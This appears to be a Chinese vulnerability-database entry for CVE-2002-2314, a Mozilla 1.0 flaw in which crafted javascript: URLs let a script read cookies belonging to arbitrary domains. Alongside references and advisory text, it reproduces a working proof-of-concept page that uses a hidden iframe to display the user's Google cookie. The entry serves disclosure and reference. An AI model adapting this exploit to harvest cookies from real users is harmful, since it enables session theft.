Mozilla JavaScript URL主机骗取任意Cookie访问漏洞

漏洞ID	1106872	漏洞类型	输入验证
发布时间	2002-07-24	更新时间	2002-12-31
CVE编号	CVE-2002-2314	CNNVD-ID	CNNVD-200212-365
漏洞平台	Multiple	CVSS评分	5.0

|漏洞来源

https://www.exploit-db.com/exploits/21638
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-365

|漏洞详情

Mozilla1.0存在漏洞。远程攻击者可以借助开头为“//”结尾为换行符的javascript:URL从域名窃取cookies，该漏洞可能导致host/path检验失败。

|漏洞EXP

source: http://www.securityfocus.com/bid/5293/info


Mozilla is an open source web browser available for a number of platforms, including Microsoft Windows and Linux. An issue has been reported in the Mozilla web browser which may allow script code to access cookie data associated with arbitrary domains.

It has been reported possible to create a javascript: URL which appears to start with a valid domain. Malicious script code may specify an arbitrary domain, and will be able to access cookie data associated with that domain.

Exploitation of this vulnerability may result in a remote attacker gaining access to sensitive cookie data, including authentication credentials.

<pre>
Title: Mozilla cookie stealing/spoofing
Date: [2002-07-24]
Impact: Steal/spoof arbitrary cookie _ _
using javascript: URLs o' ,=./ `o
Author: Andreas Sandblad, [email protected] (o o)
---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---
This demo will display your google cookie (must exist).
</pre>

<body onload=init()>
<iframe name=f height=0 width=0 style=visibility:hidden></iframe>
<script>
function init(){
f.location = "javascript://www.google.com/n"+
"'<body onload=alert(document.cookie)>'";
}
</script>

|参考资料

来源:XF
名称:mozilla-javascript-steal-cookies(9656)
链接:http://www.iss.net/security_center/static/9656.php
来源:BID
名称:5293
链接:http://www.securityfocus.com/bid/5293
来源:www.mozilla.org
链接:http://www.mozilla.org/releases/mozilla1.0.1/security-fixes-1.0.1.html
来源:BUGTRAQ
名称:20020724Mozillacookiestealing-Sandbladadvisory#9
链接:http://seclists.org/bugtraq/2002/Jul/0260.html
来源:BUGTRAQ
名称:20020918Mozillavulnerabilities,anupdate
链接:http://cert.uni-stuttgart.de/archive/bugtraq/2002/09/msg00230.html
来源:bugzilla.mozilla.org
链接:http://bugzilla.mozilla.org/show_bug.cgi?id=152725

相关推荐: Microsoft Outlook Disabled Cookies Setting Bypass Vulnerability

Microsoft Outlook Disabled Cookies Setting Bypass Vulnerability 漏洞ID 1102302 漏洞类型 Design Error 发布时间 2002-03-21 更新时间 2002-03-21 CVE…